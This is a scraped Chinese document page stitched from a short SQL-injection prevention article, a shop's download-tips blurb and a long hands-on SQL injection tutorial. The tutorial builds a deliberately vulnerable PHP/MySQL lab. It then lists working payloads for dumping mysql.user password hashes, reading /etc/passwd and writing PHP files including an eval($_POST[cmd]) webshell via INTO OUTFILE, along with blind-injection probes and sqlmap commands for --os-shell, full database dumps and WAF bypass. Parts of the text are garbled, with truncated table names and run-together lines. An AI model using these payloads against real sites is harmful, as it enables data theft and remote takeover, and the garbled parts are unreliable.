利用SQL注入漏洞拖库

合集下载

sql注入漏洞解决方案

sql注入漏洞解决方案

sql注入漏洞解决方案《SQL注入漏洞解决方案》SQL注入漏洞是一种常见的Web应用程序漏洞,攻击者可以利用该漏洞将恶意SQL代码插入到应用程序的输入字段中,从而实现对数据库的非法访问和操作。

为了有效防范和解决SQL注入漏洞,以下是一些解决方案:1. 输入验证和过滤:对于所有的用户输入数据,包括表单字段、URL参数和Cookie等,都需要进行严格的验证和过滤。

可以使用正则表达式、白名单等方法,过滤掉不符合规范的数据,避免恶意SQL代码的注入。

2. 使用参数化查询:在编写数据库查询语句时,应尽量使用参数化查询,而不是拼接字符串的方式。

通过使用预编译语句和绑定参数的方式,可以有效防止SQL注入攻击。

3. 最小权限原则:数据库用户应该按照最小权限原则进行分配。

对于普通的Web应用程序用户,可以限制其只能进行查询和更新操作,而不能进行删除和修改表结构等危险操作,从而有效降低了SQL注入的风险。

4. 错误信息处理:在应用程序中,不要将数据库错误信息直接返回给用户,特别是包含了SQL语句的错误信息。

攻击者可以利用这些信息来进行SQL注入攻击。

正确的做法是在应用程序中对错误信息进行处理,确保不会泄露敏感信息。

5. 使用ORM框架:ORM(Object-Relational Mapping)框架可以帮助开发者将对象和数据库表进行映射,避免直接操作SQL 语句,从而减少了SQL注入的风险。

综合来说,防范和解决SQL注入漏洞需要从多个方面进行努力,包括对用户输入的严格验证和过滤、使用参数化查询、合理分配数据库权限、正确处理错误信息等。

只有综合运用这些解决方案,才能有效地提高Web应用程序的安全性,避免SQL注入漏洞的发生。

sql 注入漏洞(sqli)的原理和方法

sql 注入漏洞(sqli)的原理和方法

sql 注入漏洞(sqli)的原理和方法下载提示:该文档是本店铺精心编制而成的,希望大家下载后,能够帮助大家解决实际问题。

文档下载后可定制修改,请根据实际需要进行调整和使用,谢谢!本店铺为大家提供各种类型的实用资料,如教育随笔、日记赏析、句子摘抄、古诗大全、经典美文、话题作文、工作总结、词语解析、文案摘录、其他资料等等,想了解不同资料格式和写法,敬请关注!Download tips: This document is carefully compiled by this editor. I hope that after you download it, it can help you solve practical problems. The document can be customized and modified after downloading, please adjust and use it according to actual needs, thank you! In addition, this shop provides you with various types of practical materials, such as educational essays, diary appreciation, sentence excerpts, ancient poems, classic articles, topic composition, work summary, word parsing, copy excerpts, other materials and so on, want to know different data formats and writing methods, please pay attention!1. 引言SQL注入攻击是互联网应用常见的安全漏洞之一,它是利用了应用程序中的漏洞,在用户输入的SQL查询语句中注入恶意代码,从而导致数据库遭到破坏或敏感数据被盗取。

SQL注入漏洞检测与利用

SQL注入漏洞检测与利用

SQL注⼊漏洞检测与利⽤SQL注⼊,就是通过把SQL命令插⼊到Web表单提交或输⼊域名或页⾯请求的查询字符串,最终达到欺骗服务器执⾏恶意的SQL命令,它是利⽤现有应⽤程序将(恶意的)SQL命令注⼊到后台数据库引擎执⾏的能⼒,它可以通过在Web表单中输⼊SQL语句得到⼀个存在安全漏洞的⽹站上的数据库,⽽不是按照设计者意图去执⾏SQL语句.数字型注⼊是最常规的⼀种注⼊⽅式,通常存在于⽹页的链接地址中,例如index.php?id=这样的类型,通常存在可利⽤的地⽅,这⾥通过⼀个例⼦来学习数字型注⼊的⼀些注⼊技巧.◆搭建演练环境◆1.⾸先我这⾥使⽤的是Centos7,在该系统上通过Yum搭建LAMP的环境.[root@localhost ~]# yum install -y httpd httpd-devel \mariadb mariadb-server mysql-devel \php php-mysql php-common php-gd php-xml[root@localhost ~]# systemctl restart httpd[root@localhost ~]# systemctl restart mariadb[root@localhost ~]# systemctl enable httpd[root@localhost ~]# systemctl enable mariadb2.进⼊MySQL并创建⼀个测试⽤的数据表,写⼊⼀些测试所使⽤的查询数据.[root@localhost ~]# mysql -uroot -p1233MariaDB [(none)]> create database lyshark;Query OK, 1 row affected (0.01 sec)MariaDB [(none)]> use lyshark;Database changedMariaDB [lyshark]> create table lyshark (-> id int(10) not null,-> title varchar(1000) not null,-> text varchar(2000) not null-> );Query OK, 0 rows affected (0.02 sec)MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');3.在⽹站⽬录下新建⼀个index.php⽂件,并配置好权限,这⾥需要关闭Selinux和Iptables防⽕墙.[root@localhost ~]# setenforce 0[root@localhost ~]# iptables -F[root@localhost ~]#[root@localhost ~]# vim /var/www/html/index.php<?php$id = $_GET['id'];$connection = mysql_connect("127.0.0.1","root","1233");mysql_select_db("lyshark",$connection);$myquery = "select * from lyshark where id=$id";$result = mysql_query($myquery);while($row = mysql_fetch_array($result)){echo "编号: ".$row['id']."<br >";echo "标题: ".$row['title']."<br >";echo "内容: ".$row['text']."<br >";echo "<hr>";}mysql_close($connection);echo "后台执⾏的SQL语句: ".$myquery."<hr>";#mysql_free_result($result);>[root@localhost ~]# chmod 755 -R /var/www/html/index.php[root@localhost ~]# chown apache.apache /var/www/html/index.php[root@localhost ~]# systemctl restart httpd4.最后访问这个页⾯,并传⼊⼀个参数,即可查看返回结果.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1[root@localhost ~]# curl http://127.0.0.1/index.php?id=2◆判断注⼊点◆提交单引号: 通过提交单引号并根据返回结果判断是否存在注⼊点,如果返回正常说明存在注⼊点.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1'执⾏的SQL语句: select * from lyshark where id=1'提交AND判断: 也可以使⽤and语句来判断是否存在注⼊.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1执⾏的SQL语句: select * from lyshark where id=1 and 1=1--------------------------------------------------------------[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0执⾏的SQL语句: select * from lyshark where id=1 and 1=0以上注⼊可发现and 1=1返回了数据,⽽and 1=0则没有返回,这是由于and 1=1是⼀个为真的条件,所以返回了⽽and 1=0结果为假也就没有结果,这⾥也能看出我们的注⼊语句被数据库执⾏了.提交OR判断: 同样的使⽤OR语句也是可以判断数据库权限的.[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1执⾏的SQL语句: select * from lyshark where id=1 and 1=1--------------------------------------------------------------[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0执⾏的SQL语句: select * from lyshark where id=1 and 1=0提交加号: 我们在参数输⼊1+1,看返回的数据是不是id等于2的结果,这⾥注意⼀下+号在SQL语句是有特效含义的,所以我们要对其进⾏url编码,最后也就是%2b.[root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1执⾏的SQL语句: select * from lyshark where id=1+1提交减号: 同样的道理,提交减号也可以实现判断注⼊点,这⾥不需要进⾏编码转化.[root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1执⾏的SQL语句: select * from lyshark where id=2-1◆常⽤判断语句◆判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1 and ord(mid(user(),1,1)) = 114判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,返回错误,应该是管理员给数据库帐户降权了.index.php?id=1 and(select count(*) from er) > 0查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1 union select host,user,password from er# // 5.6以前版本index.php?id=1 union select host,user,authentication_string from er# // 5.7以后版本向主站写⼊后门: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'index.php?id=1 union select null,null,"<?php phpinfo();?>" into outfile '/var/www/html/a.php'index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1 union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1 union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1 union select 1,1,@@basedir // 判断安装根路径index.php?id=1 union select 1,1,@@hostname // 判断主机名index.php?id=1 union select 1,1,@@version // 判断数据库版本index.php?id=1 union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1 union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1 union select 1,1,user() // 曝出系统⽤户index.php?id=1 union select 1,1,database() // 曝出当前数据库◆判断表字段数◆Union 查询字段: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常,⽽在and后⾯加上1=1或1=2的作⽤后⾯会讲.a.⾸先我们猜测,当前字段数为2的时候,页⾯会返回错误,也就说明表字段数必然是⼤于2的.index.php?id=1 and 1=1 union select 1,2执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2b.在上⾯的基础上,我们增加⼀个字段,查询1,2,3时页⾯显⽰正常,说明表结构是3个字段的.index.php?id=1 and 1=1 union select 1,2,3执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3c.为了验证数据库是否为3个字段,我们增加到4个字段,发现页⾯显⽰错误,则证明肯定是3个字段.index.php?id=1 and 1=1 union select 1,2,3,4执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3,4上⾯的结果,说明字段数就是3,输⼊的数⼤于或⼩于字段数时都会报错,⽽使⽤union select null,null,null替换1,2,3是相同的效果⽤数字也可以.index.php?id=1 and 1=1 union select null,null,null #执⾏的SQL语句: select * from lyshark where id=1 and 1=1 union select null,null,nullOrder By查询字段: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,但是数据库中并不存在第100列,从⽽报错.a.⾸先我们猜测数据库有4个字段,尝试根据第四⾏进⾏排序发现数据⽆法显⽰,说明是⼩于4的.index.php?id=1 order by 4 #b.上⾯查询没有显⽰任何结果,我们查询4个字段⽆返回值,说⾯该表⼩于4个字段,我们继续使⽤3测试,此时返回了结果.index.php?id=1 order by 3 #⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,⽽通过联合查询出的数据中,我们想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种:我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,下⾯的标号啥的就⼲净了.index.php?id=1 and 0 union select null,null,null执⾏的SQL语句: select * from lyshark where id=1 and 0 union select null,null,null第⼆种:通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1 union select null,null,null limit 1,1执⾏的SQL语句: select * from lyshark where id=1 union select null,null,null limit 1,1上⾯结果返回也是空,因为这使⽤的null,所以返回的还是null◆查库与表名称◆查当前数据库名称: 可以直接使⽤MySQL⾃带函数database()来查询得到当前使⽤的数据库.index.php?id=1 and 0 union select 1,1,database()查全部数据库名称: 使⽤以下语句语句得到所有的数据库名,and 1=0功能是不显⽰第⼀⾏.index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata查指定数据库名称: ⽤来查询第⼀个数据库的名称,但这个写法有个⼩问题,继续往下看.index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1以上查询结果,并没有显⽰数据库名⽽显⽰的是第⼀条语句查询出来的结果,在union前⾯加上and 0就能显⽰出来了.index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1以下查询⽅式,根据控制limit 0,1,2,3....,我们既可以获取到指定数量的数据库名称.index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1查表名称(1): 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.index.php?id=1 and 0 union select 1,1,group_concat(table_name)> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称查表名称(2): 同样,使⽤下⾯的语句也是可以查出数据库中的表,但该查询⽅式会分⾏显⽰查询的结果.index.php?id=1 and 0 union select 1,1,table_name> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称◆查字段与数据◆查表中字段(1):index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)> from information_schema.columns> where table_schema='lyshark' and table_name='lyshark'查表中字段(2): 也可以查看mysql库user表中的字段,进⾏⼀个查询.index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)> from information_schema.columns> where table_schema='mysql' and table_name='user'查表中字段(3):index.php?id=2 union select null,null,column_name> from information_schema.columns> where table_schema='mysql' and table_name='user'查表中数据: 查询表中数据,我们可以使⽤以下三种⽅式进⾏查询.index.php?id=1 union select Host,User,Password from erindex.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lysharkindex.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from er## 字符型注⼊字符串或串(String)是由数字、字母、下划线组成的⼀串字符,⼀般记为s="a1 a2···an "(n>=0),它是编程语⾔中表⽰⽂本的数据类型,字符型注⼊就是把输⼊的参数当做字符串来对数据库进⾏查询,字符型注⼊在sql语句中都采⽤单引号括起来,接下来看⼀段SQL语句.$query="select first_name from users where id='$_GET['id']'";上⾯的这句SQL语句就是基于⽤户输⼊的id在users表中找到相应的first_name,正常⽤户当然会输⼊例如1,2等,但是如果有⼈输⼊以下恶意语句则就会引发注⼊.1' union select database() #;这样的话这句SQL请求,在后台的执⾏结果就变成了以下的样⼦.select first_name from users where id='1'union select database()#'如上,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发⼈员所没有想到的,以上只是⼀个简单的SQL注⼊的例⼦.从根本上讲,当开发⼈员对⽤户的输⼊过滤不严,造成了⽤户可以通过输⼊SQL语句控制数据库,就会产⽣SQL注⼊漏洞.简⽽⾔之,基于字符型的SQL注⼊即存在SQL注⼊漏洞的URL参数为字符串类型(需要使⽤单引号表⽰),字符型SQL注⼊的关键就是单引号的闭合,例如以下⼏个例⼦:select * from tables where idproduct=’ 13’;select * from tables where name=’ fendo’;select * from tables where data=’ 01/01/2017’;◆搭建演练环境◆1.⾸先我们在原来的基础上,新建⼀个⽂件/var/www/html/index.php.vim /var/www/html/index.php<?php$name=$_GET['username'];$conn=mysql_connect("127.0.0.1","root","1233");mysql_select_db('fendo',$conn);$sql="select * from user where username = '$name'";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "⽤户ID:".$row['id']."<br >";echo "⽤户名:".$row['username']."<br >";echo "⽤户密码:".$row['password']."<br >";echo "⽤户邮箱:".$row['email']."<br >";echo "<hr>";}mysql_close($conn);echo "<hr>";echo "后台执⾏的SQL语句: "."$sql <br >";>2.进⼊数据库,创建⼏个表结构,并插⼊⼏条测试数据.[root@localhost ~]# mysql -uroot -pMariaDB [(none)]> create database fendo;MariaDB [(none)]> use fendo;MariaDB [fendo]> create table user(-> id int not null,-> username varchar(100) not null,-> password varchar(100) not null,-> email varchar(200) not null-> );Query OK, 0 rows affected (0.02 sec)insert into user(id,username,password,email) values(1,'admin','fendo','10010@');insert into user(id,username,password,email) values(2,'guest','goods','10020@');insert into user(id,username,password,email) values(3,'lyshark','nice','10030@');3.重启apache服务,并访问页⾯测试效果.[root@localhost ~]# systemctl restart httpd[root@localhost ~]# curl http://127.0.0.1/index1.php?username=lyshark◆字符注⼊技巧◆检测注⼊点: 字符型的检测⽅式与整数型差不多,但需要对数据进⾏SQL语句的⼿动闭合,如下所⽰.index.php?username=admin' and '1'='1index.php?username=admin' and '1'='0index.php?username=admin' and '1'=1--'index.php?username=admin' or '1'=1--'猜字段长度: 接着我们通过使⽤union select语句,猜测数据库列的长度,字段长度.index.php?username=admin ' union select 1,1,1 and '1'='1 // 显⽰错误,说明字段⼤于3index.php?username=admin ' union select 1,1,1,1 and '1'='1 // 显⽰正确,该表存在4个字段index.php?username=admin ' union select 1,1,1,1' // 这样也可以完成语句的闭合index.php?username=admin ' union select null,null,null,null'猜敏感信息: 接着替换上⾯语句中的1,1,1,1替换为MySQL执⾏函数,猜敏感信息.index.php?username=admin' union select database(),1,@@version,@@datadir'index.php?username=admin' union select database(),1,@@version,@@datadir and '1'='0猜表是否存在: 猜指定表是否存在,语句执⾏结束并没报错,也就说明存在user这个表.index.php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' // 存在user这个表index.php?username=admin'+and+(select+count(*)+from+lyshark)>0+and+''=' // 不存在lyshark这个表查全部表名称: 通过以下语句,查询fendo数据库中存在的所有表名称.index.php?username=admin' union select 1,1,1,group_concat(table_name)> from information_schema.tables where table_schema="fendo"'查表中字段: 查询fendo数据库中,user表中的字段,并显⽰出来.index.php?username=admin' union select 1,1,1,group_concat(column_name)> from information_schema.columns where> table_schema="fendo" and table_name="user"'查表中数据: 查询fendo数据库中,user表中指定字段的数据,并显⽰出来.index.php?username='admin' union select 1,group_concat(password),1,1 from user'index.php?username='admin' union select id,username,password,email from user'上⾯的这些例⼦就是字符型注⼊的常⽤⼿法,其他的注⼊⽅式和整数型没有什么太⼤的区别,这⾥为了节约篇幅不在继续往下写了,你可以使⽤MySQL提供的基本函数⾃⾏测试.猜版本: 返回正常,说明数据库版本是5,返回错误说明⼤于或⼩于5.index.php?id=1 and left(version(),1)=5# // 返回正常,说明数据库版本是5index.php?id=1 and left(version(),1)=4# // 返回错误,说明数据库版本不是5猜库名: 通过盲注的形式,逐级猜测每⼀个数据库的单元,最后将其组合在⼀起即可.index.php?id=1 and (length(database())) >=4 // 猜库名称有多少个字符串index.php?id=1 and (left(database(),1)) >= 'd' # // 猜库名称最左边第1位为dindex.php?id=1 and (left(database(),2)) >= 'dv' # // 猜库名称左边前2位位为dvindex.php?id=1 and (left(database(),3)) >= 'dvw' # // 猜库名称左边前3位位为dvw index.php?id=1 and (left(database(),4)) >= 'dvwa'# // 猜库名称左边前4位位为dvwaindex.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),1,1))=100 # // 第1位是d index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),2,1))=118 # // 第2位是v index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),3,1))=119 # // 第3位是w index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),4,1))=97 # // 第4位是amid ((a,b,c) // 从字符串a中截取b到c位置ord() // 将结果转化为ascii码与后⾯数值对⽐CAST(DATABASE() AS CHAR) // 如果取到了数据则返回猜表名: 如果⽹页返回正常,则说明存在这个表,返回不正常说明不存在.公式: and (select count(*) from 表名) >=0index.php?id=1 and (select count(*) from er) >=0 // 存在er表index.php?id=1 and (select count(*) from lyshark) >=0 // 存在lyshark表猜字段: 如果⽹页返回正常,说明存在猜测的字段,不正常则需要继续猜.公式: and (select count(字段名) from 猜到的表名)>=0index.php?id=1 and (select count(id) from users) >=0 // 返回正常说明存在id字段index.php?id=1 and (select count(name) from users) >=0 // 返回不正常不存在name字段index.php?id=1 and (select count(*) from lyshark) >=3 #-- // 返回表中记录数⽤户名猜测: 通过正则符号也可使完成多指定⽤户的探测,其他函数⽤法相同. index.php?id=1' and (length(user())) >=14 # // 猜测数据库⽤户名称长度index.php?id=1' and (select user() like 'root%') # // 猜测⽤户名index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-zindex.php?id=1' and (select user() regexp '^r') # // 第⼀位是rindex.php?id=1' and (select user() regexp '^ro') # // 第⼆位是oindex.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位延时注⼊: 通过sleep(5)延时的⽅式,我们同样可以判断是否存在注⼊点. index.php?id=1 and sleep(5) #index.php?id=1 and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒index.php?id=1 and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒index.php?id=1 and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒index.php?id=1 and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒## SQLMap(拓展)检测命令:sqlmap -u "./index.php?id=1" -v 3 # 显⽰攻击载荷sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别sqlmap -u "./index.php?id=1" --privileges # 测试所有⽤户权限sqlmap -u "./index.php?id=1" --privileges root # 测试root⽤户权限sqlmap -u "./index.php?id=1" --all # 查询所有数据库sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名sqlmap -u "./index.php?id=1" --is-dba # 判断root权限sqlmap -u "./index.php?id=1" --users # 枚举数据库⽤户sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agentsqlmap -u "./index.php?id=1" --fingerprint # 执⾏DBMS版本指纹检查sqlmap -u "./index.php?id=1" --output-dir="" # ⾃定义输出⽬录sqlmap -u "./index.php?id=1" --file-read="" # 读取⽂件sqlmap -u "./index.php?id=1" --file-write="" # 写⼊操作sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执⾏⼀条命令sqlmap -u "./index.php?id=1" --os-shell # 交互执⾏命令sqlmap -u "./index.php?id=1" --sql-query="" # 执⾏的SQL语句sqlmap -u "./index.php?id=1" --cookie="" # 指定cookiesqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本脱库命令:sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAFsqlmap -u "./index.php?id=1" --current-db # 查询当前数据库sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名sqlmap -u "./index.php?id=1" --users # 查询所有⽤户名sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库sqlmap -u "./index.php?id=1" --tables # 列出所有的表sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤⼦sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dumpCookie注⼊: level >=2使⽤cookie注⼊,level >=3使⽤User-agent/Referer注⼊.sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注⼊点sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容POST注⼊:1.浏览器打开⽬标地址 http:// /Login.asp2.配置burp代理(127.0.0.1:8080)以拦截请求3.点击login表单的submit按钮4.这时候Burp会拦截到了我们的登录POST请求5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submitsqlmap -r post.txt -p id --dbsSqlmap -r post.txt -p id -D mysql --tablesSqlmap -r post.txt -p id -D mysql -T user --columnssqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dumpsqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"延时注⼊:Sqlmap -u "http://127.0.0.1/index.php" --dbs --delay 1sqlmap -u "http://127.0.0.1/index.php" --dbs --safe-freq 3绕过WAF:sqlmap -u "http://127.0.0.1/index.php" --thread 10 --identify-wafsqlmap -u "http://127.0.0.1/index.php" --thread 10 --check-wafsqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py"sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py,space2dash.py"注⼊审计搭建SQL注⼊演练环境,⾸先确保MySQL版本为MySQL 5.5以上,并导⼊下⽅的数据库脚本⾃动创建相应的数据库⽂件. drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists users;create table users(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);insert into ers(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@");insert into ers(id,username,password,usremail) VALUES(2,"lyshark",md5("adsdfw2345"),"lyshark@");insert into ers(id,username,password,usremail) VALUES(3,"guest",md5("12345678"),"guest@");insert into ers(id,username,password,usremail) VALUES(4,"Dumb",md5("458322456"),"Dumb@");insert into ers(id,username,password,usremail) VALUES(5,"Angelina",md5("GIs92834"),"angelina@");insert into ers(id,username,password,usremail) VALUES(6,"Dummy",md5("HIQWu28934"),"dummy@");insert into ers(id,username,password,usremail) VALUES(7,"batman",md5("suw&*("),"batmain@");insert into ers(id,username,password,usremail) VALUES(8,"dhakkan",md5("swui16834"),"dhakakan@");insert into ers(id,username,password,usremail) VALUES(9,"nacki",md5("fsie92*("),"cbooks@");insert into ers(id,username,password,usremail) VALUES(10,"wuhaxp",md5("sadwq"),"cookiec@");接着安装好PHP7.0或以上版本的环境,并创建index.php⽂件,写⼊以下测试代码,数据库密码请⾃⾏修改.<!DOCTYPE html><html lang="en"><head><meta charset="gbk"><title>SQL 注⼊测试代码</title></head><?php$connect = mysqli_connect("localhost","root","123456","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from users where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);$row = mysqli_fetch_array($query);}}><body><table border="1"><tr><th>序号</th><th>⽤户账号</th><th>⽤户密码</th><th>⽤户邮箱</th><th>权限</th></tr><tr><td><?php echo $row['id']; ?></td><td><?php echo $row['username']; ?></td><td><?php echo $row['password']; ?></td><td><?php echo $row['usremail']; ?></td><td><?php echo $row['usertype']; ?></td></tr></table><?php echo '<hr><b> 后端执⾏SQL语句: </b>' . $sql; ?></body></html>判断注⼊点: 注⼊点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注⼊index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注⼊index.php?id=2-1 # 提交减号判断注⼊index.php?id=1 and sleep(5) # 延时判断诸如点常⽤判断语句:# -----------------------------------------------------------------------------------# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from er) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from er --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from er --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写⼊⼀句话: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利⽤MySQL引擎写⼀句话: 通过使⽤MySQL的存储引擎,以MySQL⾝份写⼊⼀句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1' union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统⽤户index.php?id=1' union select 1,1,database() // 曝出当前数据库◆判断字段数◆Union 查询字段: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常,⽽在and后⾯加上1=1或1=2的作⽤后⾯会讲. a.⾸先我们猜测,当前字段数为4的时候,页⾯会返回错误,也就说明表字段数必然是⼤于4的.index.php?id=1' and 1=1 union select 1,2,3,4 --+b.在上⾯的基础上,我们增加⼀个字段,查询1,2,3,4,5时页⾯显⽰正常,说明表结构是5个字段的.index.php?id=1' and 1=1 union select 1,2,3,4,5 --+index.php?id=1' and 1=1 union select null,null,null,null,null --+Order By查询字段: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从⽽报错或⽆法正常显⽰.a.⾸先我们猜测数据库有6个字段,尝试根据第6⾏进⾏排序发现数据⽆法显⽰,说明是⼩于6的.index.php?id=1' and 1=1 order by 6 --+b.上⾯查询没有显⽰任何结果,我们查询6个字段⽆返回值,说⾯该表⼩于6个字段,我们继续使⽤5测试,此时返回了结果.index.php?id=1' and 1=1 order by 5 